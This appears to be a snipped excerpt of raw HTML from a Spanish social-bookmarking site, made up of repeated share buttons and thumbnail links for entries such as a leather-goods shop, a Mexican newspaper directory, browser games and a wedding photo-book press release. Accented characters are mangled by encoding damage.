  <a title="submit 'PE carteras de cuero - marroquiner..a Argentina' to facebook" href="http://www.facebook.com/sharer.php?u=http%3A%2F%2Fwww.peweb.com.ar&t=PE carteras de cuero - marroquiner..a Argentina"><img src="http://www.kledy.es/modules/social_bookmark/images/facebook.gif" border="0" alt="submit 'PE carteras de cuero - marroquiner..a Argentina' to facebook" /></a>

  <a title="submit 'PE carteras de cuero - marroquiner..a Argentina' to technorati" href="http://www.technorati.com/faves?add=http%3A%2F%2Fwww.peweb.com.ar"><img src="http://www.kledy.es/modules/social_bookmark/images/technorati.gif" border="0" alt="submit 'PE carteras de cuero - marroquiner..a Argentina' to technorati" /></a>

  <a title="submit 'PE carteras de cuero - marroquiner..a Argentina' to slashdot" href="http://slashdot.org/bookmark.pl?url=http%3A%2F%2Fwww.peweb.com.ar&title=PE carteras de cuero - marroquiner..a Argentina"><img src="http://www.kledy.es/modules/social_bookmark/images/slashdot.gif" border="0" alt="submit 'PE carteras de cuero - marroquiner..a Argentina' to slashdot" /></a>

  <a title="submit 'PE carteras de cuero - marroquiner..a Argentina' to Stumbleupon" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.peweb.com.ar&title=PE carteras de cuero - marroquiner..a Argentina"><img src="http://www.kledy.es/modules/social_bookmark/images/icon-stumbleupon.gif" border="0" alt="submit 'PE carteras de cuero - marroquiner..a Argentina' to Stumbleupon" /></a>

  <a title="submit 'PE carteras de cuero - marroquiner..a Argentina' to Windows Live" href="https://favorites.live.com/quickadd.aspx?url=http%3A%2F%2Fwww.peweb.com.ar&title=PE carteras de cuero - marroquiner..a Argentina"><img src="http://www.kledy.es/modules/social_bookmark/images/windowslive.gif" border="0" alt="submit 'PE carteras de cuero - marroquiner..a Argentina' to Windows Live" /></a>

  <a title="submit 'PE carteras de cuero - marroquiner..a Argentina' to squidoo" href="http://www.squidoo.com/lensmaster/bookmark?http%3A%2F%2Fwww.peweb.com.ar"><img src="http://www.kledy.es/modules/social_bookmark/images/squidoo.gif" border="0" alt="submit 'PE carteras de cuero - marroquiner..a Argentina' to squidoo" /></a>

  <a title="submit 'PE carteras de cuero - marroquiner..a Argentina' to yahoo" href="http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fwww.peweb.com.ar&title=PE carteras de cuero - marroquiner..a Argentina"><img src="http://www.kledy.es/modules/social_bookmark/images/yahoomyweb.png" border="0" alt="submit 'PE carteras de cuero - marroquiner..a Argentina' to yahoo" /></a>

  <a title="submit 'PE carteras de cuero - marroquiner..a Argentina' to google" href="http://www.google.com/bookmarks/mark?op=edit&bkmk=http%3A%2F%2Fwww.peweb.com.ar&title=PE carteras de cuero - marroquiner..a Argentina"><img src="http://www.kledy.es/modules/social_bookmark/images/googlebookmarks.gif" border="0" alt="submit 'PE carteras de cuero - marroquiner..a Argentina' to google" />
...[SNIP]...
<span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://www.peweb.com.ar+thanks+K...l...e...d...y.......e...s+@+http://www.kledy.es" target="_blank">Tweet This</a>
...[SNIP]...
</a> 91 d..as hace

                                   (<a href="http://www.mexicoperiodicos.com/" target="_blank" >http://www.mexicoperiodicos.com</a>
...[SNIP]...
<div class="storycontent">
                       <img src="http://open.thumbshots.org/image.aspx?url=http://www.mexicoperiodicos.com/" border="0" =http://www.mexicoperiodicos.com/" style="float:left;margin-right:5px"/>
                   <span class="news-body-text">
...[SNIP]...
<div style="position:absolute;display:block;background:#fff;padding:10px;margin:10px 0 0 100px;font-size:12px;border:2px solid #000;">

  <a title="submit 'Prensa escrita de M..xico' to del.icio.us" href="http://del.icio.us/post" onclick="window.open('http://del.icio.us/post?v=4&noui&jump=close&url=http%3A%2F%2Fwww.mexicoperiodicos.com%2F&title=Prensa+escrita+de+M%C3%A9xico', '','toolbar=no,width=700,height=400'); return false;"><img src="http://www.kledy.es/modules/social_bookmark/images/delicious.png" border="0" alt="submit 'Prensa escrita de M..xico' to del.icio.us" /></a>

  <a title="submit 'Prensa escrita de M..xico' to digg" href="http://digg.com/submit?phase=2&url=http%3A%2F%2Fwww.mexicoperiodicos.com%2F&title=Prensa escrita de M..xico&bodytext=Periodicos diarios de Mexico y sus principales ciudades"><img src="http://www.kledy.es/modules/social_bookmark/images/digg.png" border="0" alt="submit 'Prensa escrita de M..xico' to digg" /></a>

  <a title="submit 'Prensa escrita de M..xico' to reddit" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.mexicoperiodicos.com%2F&title=Prensa escrita de M..xico"><img src="http://www.kledy.es/modules/social_bookmark/images/reddit.gif" border="0" alt="submit 'Prensa escrita de M..xico' to reddit" /></a>

  <a title="submit 'Prensa escrita de M..xico' to facebook" href="http://www.facebook.com/sharer.php?u=http%3A%2F%2Fwww.mexicoperiodicos.com%2F&t=Prensa escrita de M..xico"><img src="http://www.kledy.es/modules/social_bookmark/images/facebook.gif" border="0" alt="submit 'Prensa escrita de M..xico' to facebook" /></a>

  <a title="submit 'Prensa escrita de M..xico' to technorati" href="http://www.technorati.com/faves?add=http%3A%2F%2Fwww.mexicoperiodicos.com%2F"><img src="http://www.kledy.es/modules/social_bookmark/images/technorati.gif" border="0" alt="submit 'Prensa escrita de M..xico' to technorati" /></a>

  <a title="submit 'Prensa escrita de M..xico' to slashdot" href="http://slashdot.org/bookmark.pl?url=http%3A%2F%2Fwww.mexicoperiodicos.com%2F&title=Prensa escrita de M..xico"><img src="http://www.kledy.es/modules/social_bookmark/images/slashdot.gif" border="0" alt="submit 'Prensa escrita de M..xico' to slashdot" /></a>

  <a title="submit 'Prensa escrita de M..xico' to Stumbleupon" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.mexicoperiodicos.com%2F&title=Prensa escrita de M..xico"><img src="http://www.kledy.es/modules/social_bookmark/images/icon-stumbleupon.gif" border="0" alt="submit 'Prensa escrita de M..xico' to Stumbleupon" /></a>

  <a title="submit 'Prensa escrita de M..xico' to Windows Live" href="https://favorites.live.com/quickadd.aspx?url=http%3A%2F%2Fwww.mexicoperiodicos.com%2F&title=Prensa escrita de M..xico"><img src="http://www.kledy.es/modules/social_bookmark/images/windowslive.gif" border="0" alt="submit 'Prensa escrita de M..xico' to Windows Live" /></a>

  <a title="submit 'Prensa escrita de M..xico' to squidoo" href="http://www.squidoo.com/lensmaster/bookmark?http%3A%2F%2Fwww.mexicoperiodicos.com%2F"><img src="http://www.kledy.es/modules/social_bookmark/images/squidoo.gif" border="0" alt="submit 'Prensa escrita de M..xico' to squidoo" /></a>

  <a title="submit 'Prensa escrita de M..xico' to yahoo" href="http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fwww.mexicoperiodicos.com%2F&title=Prensa escrita de M..xico"><img src="http://www.kledy.es/modules/social_bookmark/images/yahoomyweb.png" border="0" alt="submit 'Prensa escrita de M..xico' to yahoo" /></a>

  <a title="submit 'Prensa escrita de M..xico' to google" href="http://www.google.com/bookmarks/mark?op=edit&bkmk=http%3A%2F%2Fwww.mexicoperiodicos.com%2F&title=Prensa escrita de M..xico"><img src="http://www.kledy.es/modules/social_bookmark/images/googlebookmarks.gif" border="0" alt="submit 'Prensa escrita de M..xico' to google" />
...[SNIP]...
<span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://www.mexicoperiodicos.com/+thanks+K...l...e...d...y.......e...s+@+http://www.kledy.es" target="_blank">Tweet This</a>
...[SNIP]...
</a> 171 d..as hace

                                   (<a href="http://www.magazineluiza.com.br/linha_setores/linha_setor.asp?linha=MO&Setor=GURO" target="_blank" >http://www.magazineluiza.com.br</a>
...[SNIP]...
<div class="storycontent">
                       <img src="http://open.thumbshots.org/image.aspx?url=http://www.magazineluiza.com.br/linha_setores/linha_setor.asp?linha=MO&Setor=GURO" border="0" =http://www.magazineluiza.com.br/linha_setores/linha_setor.asp?linha=MO&Setor=GURO" style="float:left;margin-right:5px"/>
                   <span class="news-body-text">
...[SNIP]...
<div style="position:absolute;display:block;background:#fff;padding:10px;margin:10px 0 0 100px;font-size:12px;border:2px solid #000;">

  <a title="submit 'Guarda-Roupas - Magazine Luiza' to del.icio.us" href="http://del.icio.us/post" onclick="window.open('http://del.icio.us/post?v=4&noui&jump=close&url=http%3A%2F%2Fwww.magazineluiza.com.br%2Flinha_setores%2Flinha_setor.asp%3Flinha%3DMO%26Setor%3DGURO&title=Guarda-Roupas+-+Magazine+Luiza', '','toolbar=no,width=700,height=400'); return false;"><img src="http://www.kledy.es/modules/social_bookmark/images/delicious.png" border="0" alt="submit 'Guarda-Roupas - Magazine Luiza' to del.icio.us" /></a>

  <a title="submit 'Guarda-Roupas - Magazine Luiza' to digg" href="http://digg.com/submit?phase=2&url=http%3A%2F%2Fwww.magazineluiza.com.br%2Flinha_setores%2Flinha_setor.asp%3Flinha%3DMO%26Setor%3DGURO&title=Guarda-Roupas - Magazine Luiza&bodytext=Modelos e pre..os de guarda-roupas de v..rias medidas."><img src="http://www.kledy.es/modules/social_bookmark/images/digg.png" border="0" alt="submit 'Guarda-Roupas - Magazine Luiza' to digg" /></a>

  <a title="submit 'Guarda-Roupas - Magazine Luiza' to reddit" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.magazineluiza.com.br%2Flinha_setores%2Flinha_setor.asp%3Flinha%3DMO%26Setor%3DGURO&title=Guarda-Roupas - Magazine Luiza"><img src="http://www.kledy.es/modules/social_bookmark/images/reddit.gif" border="0" alt="submit 'Guarda-Roupas - Magazine Luiza' to reddit" /></a>

  <a title="submit 'Guarda-Roupas - Magazine Luiza' to facebook" href="http://www.facebook.com/sharer.php?u=http%3A%2F%2Fwww.magazineluiza.com.br%2Flinha_setores%2Flinha_setor.asp%3Flinha%3DMO%26Setor%3DGURO&t=Guarda-Roupas - Magazine Luiza"><img src="http://www.kledy.es/modules/social_bookmark/images/facebook.gif" border="0" alt="submit 'Guarda-Roupas - Magazine Luiza' to facebook" /></a>

  <a title="submit 'Guarda-Roupas - Magazine Luiza' to technorati" href="http://www.technorati.com/faves?add=http%3A%2F%2Fwww.magazineluiza.com.br%2Flinha_setores%2Flinha_setor.asp%3Flinha%3DMO%26Setor%3DGURO"><img src="http://www.kledy.es/modules/social_bookmark/images/technorati.gif" border="0" alt="submit 'Guarda-Roupas - Magazine Luiza' to technorati" /></a>

  <a title="submit 'Guarda-Roupas - Magazine Luiza' to slashdot" href="http://slashdot.org/bookmark.pl?url=http%3A%2F%2Fwww.magazineluiza.com.br%2Flinha_setores%2Flinha_setor.asp%3Flinha%3DMO%26Setor%3DGURO&title=Guarda-Roupas - Magazine Luiza"><img src="http://www.kledy.es/modules/social_bookmark/images/slashdot.gif" border="0" alt="submit 'Guarda-Roupas - Magazine Luiza' to slashdot" /></a>

  <a title="submit 'Guarda-Roupas - Magazine Luiza' to Stumbleupon" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.magazineluiza.com.br%2Flinha_setores%2Flinha_setor.asp%3Flinha%3DMO%26Setor%3DGURO&title=Guarda-Roupas - Magazine Luiza"><img src="http://www.kledy.es/modules/social_bookmark/images/icon-stumbleupon.gif" border="0" alt="submit 'Guarda-Roupas - Magazine Luiza' to Stumbleupon" /></a>

  <a title="submit 'Guarda-Roupas - Magazine Luiza' to Windows Live" href="https://favorites.live.com/quickadd.aspx?url=http%3A%2F%2Fwww.magazineluiza.com.br%2Flinha_setores%2Flinha_setor.asp%3Flinha%3DMO%26Setor%3DGURO&title=Guarda-Roupas - Magazine Luiza"><img src="http://www.kledy.es/modules/social_bookmark/images/windowslive.gif" border="0" alt="submit 'Guarda-Roupas - Magazine Luiza' to Windows Live" /></a>

  <a title="submit 'Guarda-Roupas - Magazine Luiza' to squidoo" href="http://www.squidoo.com/lensmaster/bookmark?http%3A%2F%2Fwww.magazineluiza.com.br%2Flinha_setores%2Flinha_setor.asp%3Flinha%3DMO%26Setor%3DGURO"><img src="http://www.kledy.es/modules/social_bookmark/images/squidoo.gif" border="0" alt="submit 'Guarda-Roupas - Magazine Luiza' to squidoo" /></a>

  <a title="submit 'Guarda-Roupas - Magazine Luiza' to yahoo" href="http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fwww.magazineluiza.com.br%2Flinha_setores%2Flinha_setor.asp%3Flinha%3DMO%26Setor%3DGURO&title=Guarda-Roupas - Magazine Luiza"><img src="http://www.kledy.es/modules/social_bookmark/images/yahoomyweb.png" border="0" alt="submit 'Guarda-Roupas - Magazine Luiza' to yahoo" /></a>

  <a title="submit 'Guarda-Roupas - Magazine Luiza' to google" href="http://www.google.com/bookmarks/mark?op=edit&bkmk=http%3A%2F%2Fwww.magazineluiza.com.br%2Flinha_setores%2Flinha_setor.asp%3Flinha%3DMO%26Setor%3DGURO&title=Guarda-Roupas - Magazine Luiza"><img src="http://www.kledy.es/modules/social_bookmark/images/googlebookmarks.gif" border="0" alt="submit 'Guarda-Roupas - Magazine Luiza' to google" />
...[SNIP]...
<span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://www.magazineluiza.com.br/linha_setores/linha_setor.asp?linha=MO&Setor=GURO+thanks+K...l...e...d...y.......e...s+@+http://www.kledy.es" target="_blank">Tweet This</a>
...[SNIP]...
</a> 223 d..as hace

                                   (<a href="http://es.bigpoint.com/" target="_blank" >http://es.bigpoint.com</a>
...[SNIP]...
<div class="storycontent">
                       <img src="http://open.thumbshots.org/image.aspx?url=http://es.bigpoint.com/" border="0" =http://es.bigpoint.com/" style="float:left;margin-right:5px"/>
                   <span class="news-body-text">
...[SNIP]...
<div style="position:absolute;display:block;background:#fff;padding:10px;margin:10px 0 0 100px;font-size:12px;border:2px solid #000;">

  <a title="submit 'juegos online' to del.icio.us" href="http://del.icio.us/post" onclick="window.open('http://del.icio.us/post?v=4&noui&jump=close&url=http%3A%2F%2Fes.bigpoint.com%2F&title=juegos+online', '','toolbar=no,width=700,height=400'); return false;"><img src="http://www.kledy.es/modules/social_bookmark/images/delicious.png" border="0" alt="submit 'juegos online' to del.icio.us" /></a>

  <a title="submit 'juegos online' to digg" href="http://digg.com/submit?phase=2&url=http%3A%2F%2Fes.bigpoint.com%2F&title=juegos online&bodytext=Juegos Online - Juegos de navegador gratis en Bigpoint.com Tus juegos en comunidad para juegos Online y juegos en Web. Juegos para jugar gratis con otros.<br />"><img src="http://www.kledy.es/modules/social_bookmark/images/digg.png" border="0" alt="submit 'juegos online' to digg" /></a>

  <a title="submit 'juegos online' to reddit" href="http://reddit.com/submit?url=http%3A%2F%2Fes.bigpoint.com%2F&title=juegos online"><img src="http://www.kledy.es/modules/social_bookmark/images/reddit.gif" border="0" alt="submit 'juegos online' to reddit" /></a>

  <a title="submit 'juegos online' to facebook" href="http://www.facebook.com/sharer.php?u=http%3A%2F%2Fes.bigpoint.com%2F&t=juegos online"><img src="http://www.kledy.es/modules/social_bookmark/images/facebook.gif" border="0" alt="submit 'juegos online' to facebook" /></a>

  <a title="submit 'juegos online' to technorati" href="http://www.technorati.com/faves?add=http%3A%2F%2Fes.bigpoint.com%2F"><img src="http://www.kledy.es/modules/social_bookmark/images/technorati.gif" border="0" alt="submit 'juegos online' to technorati" /></a>

  <a title="submit 'juegos online' to slashdot" href="http://slashdot.org/bookmark.pl?url=http%3A%2F%2Fes.bigpoint.com%2F&title=juegos online"><img src="http://www.kledy.es/modules/social_bookmark/images/slashdot.gif" border="0" alt="submit 'juegos online' to slashdot" /></a>

  <a title="submit 'juegos online' to Stumbleupon" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fes.bigpoint.com%2F&title=juegos online"><img src="http://www.kledy.es/modules/social_bookmark/images/icon-stumbleupon.gif" border="0" alt="submit 'juegos online' to Stumbleupon" /></a>

  <a title="submit 'juegos online' to Windows Live" href="https://favorites.live.com/quickadd.aspx?url=http%3A%2F%2Fes.bigpoint.com%2F&title=juegos online"><img src="http://www.kledy.es/modules/social_bookmark/images/windowslive.gif" border="0" alt="submit 'juegos online' to Windows Live" /></a>

  <a title="submit 'juegos online' to squidoo" href="http://www.squidoo.com/lensmaster/bookmark?http%3A%2F%2Fes.bigpoint.com%2F"><img src="http://www.kledy.es/modules/social_bookmark/images/squidoo.gif" border="0" alt="submit 'juegos online' to squidoo" /></a>

  <a title="submit 'juegos online' to yahoo" href="http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fes.bigpoint.com%2F&title=juegos online"><img src="http://www.kledy.es/modules/social_bookmark/images/yahoomyweb.png" border="0" alt="submit 'juegos online' to yahoo" /></a>

  <a title="submit 'juegos online' to google" href="http://www.google.com/bookmarks/mark?op=edit&bkmk=http%3A%2F%2Fes.bigpoint.com%2F&title=juegos online"><img src="http://www.kledy.es/modules/social_bookmark/images/googlebookmarks.gif" border="0" alt="submit 'juegos online' to google" />
...[SNIP]...
<span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://es.bigpoint.com/+thanks+K...l...e...d...y.......e...s+@+http://www.kledy.es" target="_blank">Tweet This</a>
...[SNIP]...
<div class="storycontent">
                       <img src="http://open.thumbshots.org/image.aspx?url=http://www.seafight.es/" border="0" =http://www.seafight.es/" style="float:left;margin-right:5px"/>
                   <span class="news-body-text">
...[SNIP]...
<div style="position:absolute;display:block;background:#fff;padding:10px;margin:10px 0 0 100px;font-size:12px;border:2px solid #000;">

  <a title="submit 'onlinegames' to del.icio.us" href="http://del.icio.us/post" onclick="window.open('http://del.icio.us/post?v=4&noui&jump=close&url=http%3A%2F%2Fwww.seafight.es%2F&title=onlinegames', '','toolbar=no,width=700,height=400'); return false;"><img src="http://www.kledy.es/modules/social_bookmark/images/delicious.png" border="0" alt="submit 'onlinegames' to del.icio.us" /></a>

  <a title="submit 'onlinegames' to digg" href="http://digg.com/submit?phase=2&url=http%3A%2F%2Fwww.seafight.es%2F&title=onlinegames&bodytext=Toma el tim..n de tu barco como intr..pido pirata y convi..rtete en el terror de los siete mares. Sum..rgete en el mundo de los piratas, juega ahora gratis.<br />"><img src="http://www.kledy.es/modules/social_bookmark/images/digg.png" border="0" alt="submit 'onlinegames' to digg" /></a>

  <a title="submit 'onlinegames' to reddit" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.seafight.es%2F&title=onlinegames"><img src="http://www.kledy.es/modules/social_bookmark/images/reddit.gif" border="0" alt="submit 'onlinegames' to reddit" /></a>

  <a title="submit 'onlinegames' to facebook" href="http://www.facebook.com/sharer.php?u=http%3A%2F%2Fwww.seafight.es%2F&t=onlinegames"><img src="http://www.kledy.es/modules/social_bookmark/images/facebook.gif" border="0" alt="submit 'onlinegames' to facebook" /></a>

  <a title="submit 'onlinegames' to technorati" href="http://www.technorati.com/faves?add=http%3A%2F%2Fwww.seafight.es%2F"><img src="http://www.kledy.es/modules/social_bookmark/images/technorati.gif" border="0" alt="submit 'onlinegames' to technorati" /></a>

  <a title="submit 'onlinegames' to slashdot" href="http://slashdot.org/bookmark.pl?url=http%3A%2F%2Fwww.seafight.es%2F&title=onlinegames"><img src="http://www.kledy.es/modules/social_bookmark/images/slashdot.gif" border="0" alt="submit 'onlinegames' to slashdot" /></a>

  <a title="submit 'onlinegames' to Stumbleupon" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.seafight.es%2F&title=onlinegames"><img src="http://www.kledy.es/modules/social_bookmark/images/icon-stumbleupon.gif" border="0" alt="submit 'onlinegames' to Stumbleupon" /></a>

  <a title="submit 'onlinegames' to Windows Live" href="https://favorites.live.com/quickadd.aspx?url=http%3A%2F%2Fwww.seafight.es%2F&title=onlinegames"><img src="http://www.kledy.es/modules/social_bookmark/images/windowslive.gif" border="0" alt="submit 'onlinegames' to Windows Live" /></a>

  <a title="submit 'onlinegames' to squidoo" href="http://www.squidoo.com/lensmaster/bookmark?http%3A%2F%2Fwww.seafight.es%2F"><img src="http://www.kledy.es/modules/social_bookmark/images/squidoo.gif" border="0" alt="submit 'onlinegames' to squidoo" /></a>

  <a title="submit 'onlinegames' to yahoo" href="http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fwww.seafight.es%2F&title=onlinegames"><img src="http://www.kledy.es/modules/social_bookmark/images/yahoomyweb.png" border="0" alt="submit 'onlinegames' to yahoo" /></a>

  <a title="submit 'onlinegames' to google" href="http://www.google.com/bookmarks/mark?op=edit&bkmk=http%3A%2F%2Fwww.seafight.es%2F&title=onlinegames"><img src="http://www.kledy.es/modules/social_bookmark/images/googlebookmarks.gif" border="0" alt="submit 'onlinegames' to google" />
...[SNIP]...
<span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://www.seafight.es/+thanks+K...l...e...d...y.......e...s+@+http://www.kledy.es" target="_blank">Tweet This</a>
...[SNIP]...
</a> 223 d..as hace

                                   (<a href="http://darkorbit.es/" target="_blank" >http://darkorbit.es</a>
...[SNIP]...
<div class="storycontent">
                       <img src="http://open.thumbshots.org/image.aspx?url=http://darkorbit.es/" border="0" =http://darkorbit.es/" style="float:left;margin-right:5px"/>
                   <span class="news-body-text">
...[SNIP]...
<div style="position:absolute;display:block;background:#fff;padding:10px;margin:10px 0 0 100px;font-size:12px;border:2px solid #000;">

  <a title="submit 'online browser games' to del.icio.us" href="http://del.icio.us/post" onclick="window.open('http://del.icio.us/post?v=4&noui&jump=close&url=http%3A%2F%2Fdarkorbit.es%2F&title=online+browser+games', '','toolbar=no,width=700,height=400'); return false;"><img src="http://www.kledy.es/modules/social_bookmark/images/delicious.png" border="0" alt="submit 'online browser games' to del.icio.us" /></a>

  <a title="submit 'online browser games' to digg" href="http://digg.com/submit?phase=2&url=http%3A%2F%2Fdarkorbit.es%2F&title=online browser games&bodytext=El juego de navegador gratuito DarkOrbit te asegura horas y horas de diversi..n. Reg..strate ahora y haz frente a tus adversarios.<br />"><img src="http://www.kledy.es/modules/social_bookmark/images/digg.png" border="0" alt="submit 'online browser games' to digg" /></a>

  <a title="submit 'online browser games' to reddit" href="http://reddit.com/submit?url=http%3A%2F%2Fdarkorbit.es%2F&title=online browser games"><img src="http://www.kledy.es/modules/social_bookmark/images/reddit.gif" border="0" alt="submit 'online browser games' to reddit" /></a>

  <a title="submit 'online browser games' to facebook" href="http://www.facebook.com/sharer.php?u=http%3A%2F%2Fdarkorbit.es%2F&t=online browser games"><img src="http://www.kledy.es/modules/social_bookmark/images/facebook.gif" border="0" alt="submit 'online browser games' to facebook" /></a>

  <a title="submit 'online browser games' to technorati" href="http://www.technorati.com/faves?add=http%3A%2F%2Fdarkorbit.es%2F"><img src="http://www.kledy.es/modules/social_bookmark/images/technorati.gif" border="0" alt="submit 'online browser games' to technorati" /></a>

  <a title="submit 'online browser games' to slashdot" href="http://slashdot.org/bookmark.pl?url=http%3A%2F%2Fdarkorbit.es%2F&title=online browser games"><img src="http://www.kledy.es/modules/social_bookmark/images/slashdot.gif" border="0" alt="submit 'online browser games' to slashdot" /></a>

  <a title="submit 'online browser games' to Stumbleupon" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fdarkorbit.es%2F&title=online browser games"><img src="http://www.kledy.es/modules/social_bookmark/images/icon-stumbleupon.gif" border="0" alt="submit 'online browser games' to Stumbleupon" /></a>

  <a title="submit 'online browser games' to Windows Live" href="https://favorites.live.com/quickadd.aspx?url=http%3A%2F%2Fdarkorbit.es%2F&title=online browser games"><img src="http://www.kledy.es/modules/social_bookmark/images/windowslive.gif" border="0" alt="submit 'online browser games' to Windows Live" /></a>

  <a title="submit 'online browser games' to squidoo" href="http://www.squidoo.com/lensmaster/bookmark?http%3A%2F%2Fdarkorbit.es%2F"><img src="http://www.kledy.es/modules/social_bookmark/images/squidoo.gif" border="0" alt="submit 'online browser games' to squidoo" /></a>

  <a title="submit 'online browser games' to yahoo" href="http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fdarkorbit.es%2F&title=online browser games"><img src="http://www.kledy.es/modules/social_bookmark/images/yahoomyweb.png" border="0" alt="submit 'online browser games' to yahoo" /></a>

  <a title="submit 'online browser games' to google" href="http://www.google.com/bookmarks/mark?op=edit&bkmk=http%3A%2F%2Fdarkorbit.es%2F&title=online browser games"><img src="http://www.kledy.es/modules/social_bookmark/images/googlebookmarks.gif" border="0" alt="submit 'online browser games' to google" />
...[SNIP]...
<span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://darkorbit.es/+thanks+K...l...e...d...y.......e...s+@+http://www.kledy.es" target="_blank">Tweet This</a>
...[SNIP]...
</a> 270 d..as hace

                                   (<a href="http://www.comunicado-prensa.com/comunicado-de-prensa/cinco%C2%A0minutos%C2%A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos/" target="_blank" >http://www.comunicado-prensa.com</a>
...[SNIP]...
<div class="storycontent">
                       <img src="http://open.thumbshots.org/image.aspx?url=http://www.comunicado-prensa.com/comunicado-de-prensa/cinco%C2%A0minutos%C2%A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos/" border="0" =http://www.comunicado-prensa.com/comunicado-de-prensa/cinco%C2%A0minutos%C2%A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos/" style="float:left;margin-right:5px"/>
                   <span class="news-body-text">
...[SNIP]...
<div style="position:absolute;display:block;background:#fff;padding:10px;margin:10px 0 0 100px;font-size:12px;border:2px solid #000;">

  <a title="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to del.icio.us" href="http://del.icio.us/post" onclick="window.open('http://del.icio.us/post?v=4&noui&jump=close&url=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F&title=Cinco%C2%A0minutos%C2%A0para+la+eternidad+%E2%80%93+un+libro+de+fotos+de+boda+en+pocos+pasos', '','toolbar=no,width=700,height=400'); return false;"><img src="http://www.kledy.es/modules/social_bookmark/images/delicious.png" border="0" alt="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to del.icio.us" /></a>

  <a title="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to digg" href="http://digg.com/submit?phase=2&url=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F&title=Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos&bodytext=Gracias al software gratuito de servicios en l..nea como FotoInsight y Printing-1, todo el mundo puede crear f..cilmente un libro con las fotos de la boda, impreso y encuadernado como copia ..nica o en cualquier n..mero de copias. En cu..nto tiempo se puede dise..ar un libro de boda y que un libro de fotos de boda con elegante tapa de cuero est.. disponible por menos de 40 Euros, se muestra en el siguie"><img src="http://www.kledy.es/modules/social_bookmark/images/digg.png" border="0" alt="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to digg" /></a>

  <a title="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to reddit" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F&title=Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos"><img src="http://www.kledy.es/modules/social_bookmark/images/reddit.gif" border="0" alt="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to reddit" /></a>

  <a title="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to facebook" href="http://www.facebook.com/sharer.php?u=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F&t=Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos"><img src="http://www.kledy.es/modules/social_bookmark/images/facebook.gif" border="0" alt="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to facebook" /></a>

  <a title="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to technorati" href="http://www.technorati.com/faves?add=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F"><img src="http://www.kledy.es/modules/social_bookmark/images/technorati.gif" border="0" alt="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to technorati" /></a>

  <a title="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to slashdot" href="http://slashdot.org/bookmark.pl?url=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F&title=Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos"><img src="http://www.kledy.es/modules/social_bookmark/images/slashdot.gif" border="0" alt="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to slashdot" /></a>

